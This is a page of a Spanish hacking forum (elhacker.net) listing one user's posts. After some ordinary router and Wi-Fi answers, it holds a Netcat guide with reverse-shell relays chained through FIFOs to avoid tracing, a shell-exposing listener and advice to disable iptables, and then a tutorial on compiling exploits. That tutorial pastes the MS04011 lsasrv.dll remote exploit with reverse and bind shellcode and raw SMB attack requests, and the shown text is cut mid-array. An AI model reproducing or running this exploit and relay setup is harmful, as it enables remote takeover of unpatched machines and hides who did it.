elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 [17] 18 19 20 21 22 23 24 25 26 27 28
161  Comunicaciones / Redes / Re: no puedo conectarme a una red con contraseña sabiendo la contraseña en: 24 Junio 2010, 06:47 am
eso a mi me pasa a menudo y lo soluciono de la siguiente forma:


- Cambiandole el modo de trabajo al router (por defecto todos vienen en modo b/g yo solo lo dejo en G)
- y le cambio el canal a la se*al del mismo router


intentalo y despues nos cuentas que tal


saludos
162  Comunicaciones / Redes / Re: Configuración Router Linksys wrt54G con firm DD-WRT v23 SP2 ¡ ¡ ¡ S.O.S ! ! ! en: 24 Junio 2010, 06:45 am
@craneo76y en tu caso creo que no habeis visto la fecha del post xDDD
163  Comunicaciones / Redes / Re: Puerto 80 en ZTE ADSL Modem y HUAWEI Echo Life en: 24 Junio 2010, 06:42 am
Citar
¿eso quiere decir que ya puedo montar por ejemplo un servidor WEB? ¿pero y en donde especifico la IP interna de la PC que hara de Servidor?
para redireccionar el puerto primero entra a la pagina de configuracion de tu router(es la misma que tu puerta de enlace), despues te vas en la parte izquierda a la parte que dice avanzado, despues seleccionas firewall y alli seleccionas la opcion "permitir aplicaciones individual".

lo demas es sencillo, simplemente es llenar los campos requeridos, en tu caso el puerto inicial sera el 80 y el final el 80 (solo necesitas ese puerto) y por ultimo seleccionar la ip de tu equipo a redireccionar el trafico.


es bastante sencillo


un saludo
164  Comunicaciones / Redes / Re: Conexion compartida a internet(via wifi) en: 24 Junio 2010, 06:33 am
 el problema viene de que tu tarjeta se esta conectando a la red inalambrica y te da acceso a internet, pero al momento de crear la red ad hoc se pierde la conectividad a internet y es por ello que el segundo equipo te dice que el acceso es solo local.


Pregunta:
cuando haces ese movimiento en el pc1(el que tiene internet), te crea la conexion y no pierdes el internet??


normalmente cuando yo quiero hacer algo asi prefiero utilizar dos tarjetas, una tarjeta de red inalambrica para conectarme a internet y una segunda para usarla como si fuera el access point.


yo veo varias opciones incluso mas viables para tu caso, en caso de no querer gastar puedes hacer la conexion entre ambos equipos con un cable cruzado y asi compartirias internet con el segundo equipo.
otra opcion seria como ya lo mencione comprar una segunda tarjeta de red inalambrica y te quitas de problemas.
o tambien puedes comprarte un router linksys(incluso usado) y cambiarle el firmware para poderlo usar como repetidor, asi no dependerias de ningun equipo para tener la conexion a internet desde cualquier equipo
(un router linksys no es caro, por ejemplo yo compre un WRT54G por solo $300 y me va de perlas como repetidor)
165  Sistemas Operativos / GNU/Linux / Re: Dudas VNC en: 24 Junio 2010, 06:20 am
 si quieres manipular el equipo mediante el visor si necesitas dicho puerto y si lo quieres manipular mediante el navegador entonces necesitaras el puerto 5800(este puerto permite la manipulacion son tener instalado un visor en el cliente)


saludos
166  Sistemas Operativos / Mac OS X / Re: Sincronizacion iCal mac-iphone cambia hora de eventos !! en: 14 Mayo 2010, 04:48 am
 tienes que se actualicen la hora automaticamente los dos?? quizas por alli va el problema (a mi no me pasa con snow leopard y mi iphone) y ambos los tengo que cambien la hora automaticamente en el mismo uso horario.
167  Seguridad Informática / Hacking / Re: "truquillos" que facilitan un poco la vida en una shell remota en: 3 Noviembre 2009, 23:57 pm
apenas lo leo, te quedo muy bien :D

se agradece el aporte (nunca habia escuchado lo de hacer la shell mas "bonita").

saludos
168  Seguridad Informática / Hacking / Netcat en: 31 Octubre 2009, 00:55 am
By Kamsky

Bueno, aunque este tema también está muy trillado, quizás haya gente que únicamente utiliza el Netcat para conseguir una shell/reverse shell

A parte de esto, hay bastantes funcionalidades que nos ofrece esta navaja suiza, y que en algún momento dado nos pueden servir de ayuda.

Este texto no pretende ser una guía exhaustiva, simplemente un punto de partida para que la gente le pique la curiosidad y explore un poquito más los posibles usos del Netcat

- Transferencia de archivos:

Hay momentos, en que estamos buscando pasarnos archivos de un host a otro y no sabemos como, netcat nos ofrece una forma muy cómoda de conseguir esto, sin necesidad de montarnos un mini FTP o cualquier otra cosa que se nos ocurra.

Es tan sencillo como lo siguiente:
 en el servidor:
Código:
 # netcat -l -p 5050 > pass.txt
en el cliente:
Código:
# cat pass.txt | netcat ip_server 5050

Con esto conseguimos pasarnos sin problemas un simple archivo de texto, pero....
Que pasa si queremos ir un pelín más allá, y pasarnos un binario (un ejecutable, un simple fichero openoffice,...)?¿?¿
Vamos a probar a ver que ocurre:

 en el servidor:
Código:
 # netcat -l -p 5050 > ej.odt
en el cliente:
Código:
# cat salida.odt | netcat ip_server 5050

Y ahora comprobemos (suponiendo que el ejemplo lo hemos hecho en la misma máquina):
 
Código:
# diff ej.odt salida.odt
#

Como vemos, no hay NINGUNA diferencia, asi que podremos transmitir binarios sin problemas... ;-) :silbar:


- Relays utilizando netcat:

 Para este ejercicio necesitaremos 3 máquinas distintas. Crearemos un relay
en la máquina Linux utilizando un netcat ejecutándose en modo de escucha y como cliente.
Este reenvío dirigirá los datos de una primera máquina(A) hacia otra(B).
Esta máquina de reenvío conectará una primera máquina ejecutando un
netcat en modo cliente con una tercera (C) ejecutando netcat en modo servidor
o escucha.

Una vez establecido, el reenvío podría permitir el acceso a esta última
máquina desde la máquina original.

El host intermedio hace de proxy, de forma que nosotros nos conectamos a el
y el nos conecta al servidor final, de esta forma conseguimos que sea más
dificil rastrearnos, ya que en los logs del server aparecerá la Ip del host
relay.
Obviamente cuantos más hosts intermedios usemos más dificil se hará
la tarea de rastrearnos.

 Una manera de crear relays es unir la entrada y la salida de un cliente y
servidor netcat utilizando un chero especial denominado FIFO (First In, First Out).
Podemos crear un fichero FIFO y utilizarlo para unir un netcat en modo
servidor con un cliente con las siguientes órdenes:

 
Código:
# mknod backpipe p
# nc -l -p [puertoA] 0<backpipe | nc [IP_Destino] [Puerto_Destino] 1>backpipe

 Donde el puertoA es el puerto donde escucha el relay y Puerto_Destino es el
puerto de la máquina destino (IP_Destino) donde hemos situado la puerta trasera
con la shell. Es importante no poner espacios en las redirecciones (>,<). Estas
redirecciones permiten dirigir la entrada y salida estándar hacia backpipe y no
pueden tener espacios junto a ellos.
 Para que esto funcione es necesario que si tenemos un mecanismo de filtrado
de paquetes permitamos que el paso de los paquetes hacia la máquina C. Es
posible que si tenemos activo iptables (que puede funcionar como un cortafuegos)
esto no esté permitido. Podemos desactivar iptables del siguiente modo:
 
Código:
/etc/init.d/iptables stop

Bueno, pues manos a la obra, como dijimos, vamos a necesitar 3 máquinas (en mi caso,
el propio host donde trabajo, y 2 máquinas virtuales), las IP's son las siguientes:
Citar
Server: 192.168.1.129
Relay: 172.16.72.135
Cliente: 172.16.72.136

Procedamos pues.

En el Servidor, mediante netcat dejamos un puerto a la escucha con una shell de regalo:
Código:
# nc -l -p 5555

En el Relay, creamos la FIFO, y mediante tuberías unimos el asunto:

 
Código:
# mknod buffer p
# netcat -l -p 1111 0<buffer | netcat 192.168.1.129 5555 1>buffer

Como se observa, primero creamos el buffer con ayuda de mknod, y después, usamos este para unir la entrada estandar (que en este caso será lo que nos mande el cliente mediante netcat) con la conexión al Servidor y guardar de nuevo la salida de esta última conexión en el buffer, que se reenviará al Cliente (Es un poco lioso, asi que mirar detenidamente la instrucción y tratar de entender paso a paso lo que haría)

Finalmente, nos conectamos desde el cliente y observamos que tenemos la shell con el Server:
 
Código:
 # netcat 172.16.72.135
pwd
/home/XXXX

Para asegurarnos que la conexión desde el cliente hasta el servidor, ha sido "enmascarada" por el relay, vemos en el Servidor las conexiones activas, flitrando por el puerto 5555 que es donde estábamos escuchando, y obtenemos lo siguiente:

Código:
# sudo netstat -aveptn | grep 5555
tcp 0 0 192.168.1.129:5555 172.16.72.135:51220 ESTABLECIDO 1000 44068 9038/bash

Vemos que efectivamente alguien se ha conectado a nuestro puerto 5555, que tiene una shell (bash), y que la conexión proviene del Relay (172.16.72.135:51220)


- Uso como scanner:

Nos podemos encontrar en algún entorno en el que no tengamos a mano NMap o miscelaneos, por lo que como no, siempre podemos echar mano de nuestro amigo, y usarlo como un scanner de puertos (algo ruidoso y tosco, eso si :P)

por ejemplo:
Código:
# nc -vv 127.0.0.1 22-25
localhost [127.0.0.1] 25 (smtp) : Connection refused
localhost [127.0.0.1] 24 (?) : Connection refused
localhost [127.0.0.1] 23 (telnet) : Connection refused
localhost [127.0.0.1] 22 (ssh) open
SSH-2.0-OpenSSH_4.7p1 Debian

- Y más...

Hay MUCHAS más cositas que hacer con este estupenda herramienta, se me ocurren cosas como:

- un bruteforcer: Podríamos crear un diccionario, y mandar palabra por palabra
 sus entradas a un puerto de forma que cuando se encuentre la contraseña
 correcta se registre.

- sacar información: bastará con conectarse al puerto del que queramos
 extraer la información del servicio y guardar su respuesta para luego
 analizarla.

- mini-chat: aunque no os lo creais, esto se usa (verdad Averno?¿ :P)

Y esto es SÓLO la punta del iceberg, si teneis curiosidad, echarle un vistazo a esto:
http://nmap.org/ncat/guide/ncat-tricks.html

salu2!

Enlaces de Interes

el hilo de este post lo puedes encontrar aqui:
http://foro.elhacker.net/hacking_basico/miniguia_otros_usos_de_netcat-t270174.0.html

Jugando con Netcat
http://foro.elhacker.net/hacking_basico/jugando_con_netcat-t159799.0.html

Obtener shell con netcat
http://foro.elhacker.net/hacking_avanzado/paper_obtener_shell_con_netcat-t58032.0.html

Sacandole Provecho a una excelente Utilidad by kliber
http://foro.elhacker.net/index.php?topic=15859.msg83196#msg83196

Truquillos que facilitan la vida en una shell remota
https://foro.elhacker.net/hacking_basico/truquillos_que_facilitan_un_poco_la_vida_en_una_shell_remota-t272659.0.html
169  Seguridad Informática / Hacking / compilando y utilizando exploits en: 30 Octubre 2009, 07:33 am
COMPILANDO Y UTILIZANDO EXPLOITS

INTRODUCCION

Si bien esto es un dilema para muchas personas la verdad no es tan difícil de hacer, lo unico que necesitan es agarrarse cualquier manual de C y ponerse a leer un poco en sus ratos libres.

Pero no se preocupen en este caso no se necesitara hacer eso, yo les ayudare un poco a crearse su primer programa en C y ya de paso veremos como se compilan los exploits.

En este caso vamos a utilizar un compilador llamado Dev-C++ utilizare este debido a que es muy facil de utilizar asi como tambien que no se tendra que pagar por utilizarlo, lo pueden descargar de la siguiente web:

http://www.bloodshed.net/


Ahora que ya lo tenemos instalado, lo ejecutamos y nos abrira una ventana de este tipo:



Lo que haremos sera irnos al menú archivo – nuevo – proyecto.
En la ventana que nos abrira seleccionamos “Console application”, le ponemos un nombre y en el lenguaje seleccionamos C, Como se muestra en la siguiente imagen:



Una vez que le hayamos dado aceptar solo tendremos que seleccionar donde guardar nuestro proyecto y listo.
Una vez hecho esto nos devolvera a la ventana en que iniciamos pero esta vez nos mostrara en el cuadro principal del programa el codigo fuente que nos sirve de guia para lo que vayamos a hacer, en nuestro caso lo podemos borrar todo y en su lugar colocaremos el siguiente codigo(no vayan a colocar mayusculas, por que los compiladores distinguen las letras mayusculas de las minusculas):

Código:
#include <stdio.h>

int main()
{
 printf("hola mundo C");
 getch();
 return 0;
}

Una vez el codigo en su lugar nos dirigimos al menú ejecutar – Compilar y ejecutar, o presionamos la tecla F9, a continuación nos preguntara donde queremos guardar nuestro codigo fuente y si todo esta bien escrito nos debera de abrir una ventana con una leyenda que dice “hola mundo C” (sin las comillas por supuesto) si les marco algun error revisen su programa con cuidado, cualquier punto y coma o que las palabras esten bien escritas.

Ahora que ya lo ejecutaron solo me sobre decir “Enhorabuena!!! Acaban de crear y ejecutar su primer programa con éxito, ahora ya son capaces de compilarse y crearse sus propios exploits…(es broma :P)”
Quizas este programa no sea la gran cosa pero hasta los mejores programadores comenzaron con un programa de este tipo asi de que no se sientan mal ni se me vayan a deprimir, muy bien ahora paso a explicar a grandes rasgos el significado de cada linea de codigo que pusimos en nuestro programa:

Código:
#include <stdio.h>
Esta linea le dice al compilador que agregue a nuestro proyecto la libreria llamada “stdio”.

Código:
int main()
esta linea es la que indica el comienzo de nuestro programa principal.

Código:
{
Esta llave al igual que la que se encuentra al final lo unico que hacen es indicar que todo lo que se encuentre dentro de ellas pertenece a nuestro programa principal.

Código:
printf("hola mundo C");
esta linea lo unico que hace es llamar a la funcion “printf” que se encuentra dentro de la librería stdio, la cual nos sirve para imprimir en pantalla la leyenda que dice: “hola mundo C”.
dicho en otras palabras, en esta linea utilizamos un comando llamado printf que nos sirve para imprimir en pantalla enunciados pero hay que tener en cuenta que la sintaxis siempre es asi:
Código:
printf("")
y nosotros deberemos de colocar el texto que queramos imprimir dentro de las comillas, el punto y coma que se encuentran al final solamente nos indican el final de la linea de codigo.

Los que ya hayan visto un poco mas de C sabran que tambien se pueden eliminar las comillas y agregar en su lugar variables pero prefiero no hablar del tema por que si no, nunca vamos a terminar con esto.

Código:
getch();

Esta linea lo unico que hace es detener nuestro programa hasta que presionemos la tecla enter, la finalidad que tiene aquí es que detenga el programa para que nosotros podamos observar lo que se imprimio en pantalla con la linea de codigo anterior. Si gustan pueden eliminar completamnte esta linea del programa lo vuelven a compilar y ejecutar y veran a lo que me refiero.

Código:
return 0;
Esta linea lo unico que hace es devolver un 0 a la funcion de nuestro programa principal para decirle que todo se ha ejecutado a la perfeccion, diriamos que por estandar se devuelve un 0 si todo se ejecuto correctamente y cualquier otro valor si ocurrio algun problema.

Esta linea se podria eliminar y nuestro programa se seguiria ejecutando pero el compilador nos va a marcar una alerta o “warning”.

Ahora si espero que si vemos el codigo fuente que les puse ya podamos darnos una idea de lo que hace cada linea, de igual forma les recomiendo se compren un buen libro de C o busquen algunos tutoriales si quieren aprender un poco mas sobre el tema.

Quizas con esto algunos digan que ya saben mas o menos como hacerle para compilarse los codigos fuentes de los exploits que andan por alli, pero bueno en este caso vamos a compilar un exploit muy utilizado por Internet, quizas sea algo viejo pero como todos saben siempre te encuentras con personas que nisiquiera saben como se llama el sistema operativo que utilizan ahora imaginense los equipos que aun son vulnerables a fecha de hoy…




Nota: No te vayas a enojar conmigo Sirdarkcat por decirles paso por paso como compilar los exploits pero prefiero mil veces explicar como hacerlo por ellos mismos que pasarles el exploit ya compilado xD.

 
Compilando y ejecutando el exploit ms04011-lsasrv

Primero que nada tendremos que conseguir el codigo fuente de dicho exploit aunque en este caso lo pondre yo para que ya no tengan que perder tiempo en ello (solo por esta ocasión lo hare, para la proxima les tocara buscarlo):

 
Código:
/* HOD-ms04011-lsasrv-expl.c:
 *
 * MS04011 Lsasrv.dll RPC buffer overflow remote exploit
 * Version 0.1 coded by
 *
 *
 * .::[ houseofdabus ]::.
 *
 *
 * -------------------------------------------------------------------
 * Usage:
 *
 * expl <target> <victim IP> <bindport> [connectback IP] [options]
 *
 * Targets:
 * 0 [0x01004600]: WinXP Professional [universal] lsass.exe
 * 1 [0x7515123c]: Win2k Professional [universal] netrap.dll
 * 2 [0x751c123c]: Win2k Advanced Server [SP4] netrap.dll
 *
 * Options:
 * -t: Detect remote OS:
 * Windows 5.1 - WinXP
 * Windows 5.0 - Win2k
 * -------------------------------------------------------------------
 *
 * Tested on
 * - Windows XP Professional SP0 English version
 * - Windows XP Professional SP0 Russian version
 * - Windows XP Professional SP1 English version
 * - Windows XP Professional SP1 Russian version
 * - Windows 2000 Professional SP2 English version
 * - Windows 2000 Professional SP2 Russian version
 * - Windows 2000 Professional SP4 English version
 * - Windows 2000 Professional SP4 Russian version
 * - Windows 2000 Advanced Server SP4 English version
 * - Windows 2000 Advanced Server SP4 Russian version
 *
 *
 * Example:
 *
 * C:\HOD-ms04011-lsasrv-expl 0 192.168.1.10 4444 -t
 *
 * MS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1
 * --- Coded by .::[ houseofdabus ]::. ---
 *
 * [*] Target: IP: 192.168.1.10: OS: WinXP Professional [universal] lsass.exe
 * [*] Connecting to 192.168.1.10:445 ... OK
 * [*] Detecting remote OS: Windows 5.0
 *
 *
 * C:\HOD-ms04011-lsasrv-expl 1 192.168.1.10 4444
 *
 * MS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1
 * --- Coded by .::[ houseofdabus ]::. ---
 *
 * [*] Target: IP: 192.168.1.10: OS: Win2k Professional [universal] netrap.dll
 * [*] Connecting to 192.168.1.10:445 ... OK
 * [*] Attacking ... OK
 *
 * C:\nc 192.168.1.10 4444
 * Microsoft Windows 2000 [Version 5.00.2195]
 * (C) Copyright 1985-2000 Microsoft Corp.
 *
 * C:\WINNT\system32>
 *
 *
 *
 * This is provided as proof-of-concept code only for educational
 * purposes and testing by authorized individuals with permission to
 * do so.
 */

#include <windows.h>

#pragma comment(lib, "ws2_32")

// reverse shellcode
unsigned char reverseshell[] =
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x02\x99\x99\x99"
"\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12"
"\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99"
"\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xD9\xC9"
"\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\x98\xF1\x9B\x99\x9D"
"\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\x59\xEC\xD3\xF1\xFA"
"\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x14\xA5\xBD\xF3\x8C\xC0\x32"
"\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA4\x10\xC5\xBD\xD1\x10"
"\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8\xC8\xC8"
"\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66\x66"
"\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66\xCF\x95\xC8\xCF\x12\xDC\xA5"
"\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB\xB9\x9A\x6C\xAA\x50\xD0\xD8"
"\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A"
"\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3\x12\xC3\xBD\x9A\x44\xFF\x12"
"\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A"
"\x71\x99\x66\x66\x66\x17\xD7\x97\x75\xEB\x67\x2A\x8F\x34\x40\x9C"
"\x57\x76\x57\x79\xF9\x52\x74\x65\xA2\x40\x90\x6C\x34\x75\x60\x33"
"\xF9\x7E\xE0\x5F\xE0";

// bind shellcode
unsigned char bindshell[] =
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x7D\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0"
"\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
"\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B"
"\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99\x9D\x4B\xAA\x59\x10\xDE\x9D"
"\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA"
"\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10"
"\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF"
"\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8"
"\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79"
"\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59\x35\x1C"
"\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59"
"\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD"
"\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC"
"\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5"
"\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6"
"\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0"
"\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED"
"\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99";



char req1[] =
"\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F"
"\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02"
"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F"
"\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70"
"\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30"
"\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54"
"\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00";

char req2[] =
"\x00\x00\x00\xA4\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x00\x10\x00\x0C\xFF\x00\xA4\x00\x04\x11\x0A\x00\x00\x00\x00"
"\x00\x00\x00\x20\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x69\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x97\x82\x08\xE0\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00"
"\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00"
"\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00"
"\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00"
"\x2E\x00\x30\x00\x00\x00\x00\x00";


char req3[] =
"\x00\x00\x00\xDA\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x08\x20\x00\x0C\xFF\x00\xDA\x00\x04\x11\x0A\x00\x00\x00\x00"
"\x00\x00\x00\x57\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x9F\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x03\x00\x00\x00\x01\x00\x01\x00\x46"
"\x00\x00\x00\x00\x00\x00\x00\x47\x00\x00\x00\x00\x00\x00\x00\x40"
"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x06\x00\x06\x00\x40"
"\x00\x00\x00\x10\x00\x10\x00\x47\x00\x00\x00\x15\x8A\x88\xE0\x48"
"\x00\x4F\x00\x44\x00\x00\x81\x19\x6A\x7A\xF2\xE4\x49\x1C\x28\xAF"
"\x30\x25\x74\x10\x67\x53\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00"
"\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00"
"\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00"
"\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00"
"\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00\x00\x00";


char req4[] =
"\x00\x00\x00\x5C\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x08\x30\x00\x04\xFF\x00\x5C\x00\x08\x00\x01\x00\x31\x00\x00"
"\x5C\x00\x5C\x00\x31\x00\x39\x00\x32\x00\x2E\x00\x31\x00\x36\x00"
"\x38\x00\x2E\x00\x31\x00\x2E\x00\x32\x00\x31\x00\x30\x00\x5C\x00"
"\x49\x00\x50\x00\x43\x00\x24"
"\x00\x00\x00\x3F\x3F\x3F\x3F\x3F\x00";

char req5[] =
"\x00\x00\x00\x64\xFF\x53\x4D\x42\xA2\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
"\x00\x08\x40\x00\x18\xFF\x00\xDE\xDE\x00\x0E\x00\x16\x00\x00\x00"
"\x00\x00\x00\x00\x9F\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00"
"\x02\x00\x00\x00\x03\x11\x00\x00\x5C\x00\x6C\x00\x73\x00\x61\x00"
"\x72\x00\x70\x00\x63\x00\x00\x00";

char req6[] =
"\x00\x00\x00\x9C\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
"\x00\x08\x50\x00\x10\x00\x00\x48\x00\x00\x00\x00\x04\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x48\x00\x54\x00\x02"
"\x00\x26\x00\x00\x40\x59\x00\x10\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x0B\x03\x10\x00\x00\x00"
"\x48\x00\x00\x00\x01\x00\x00\x00\xB8\x10\xB8\x10\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x01\x00\x6A\x28\x19\x39\x0C\xB1\xD0\x11"
"\x9B\xA8\x00\xC0\x4F\xD9\x2E\xF5\x00\x00\x00\x00\x04\x5D\x88\x8A"
"\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00";

char req7[] =
"\x00\x00\x0C\xF4\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
"\x00\x08\x60\x00\x10\x00\x00\xA0\x0C\x00\x00\x00\x04\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\xA0\x0C\x54\x00\x02"
"\x00\x26\x00\x00\x40\xB1\x0C\x10\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\x03\x10\x00\x00\x00"
"\xA0\x0C\x00\x00\x01\x00\x00\x00\x88\x0C\x00\x00\x00\x00\x09\x00"
"\xEC\x03\x00\x00\x00\x00\x00\x00\xEC\x03\x00\x00";
// room for shellcode here ...

char shit1[] =

"\x95\x14\x40\x00\x03\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x7C\x70\x40\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
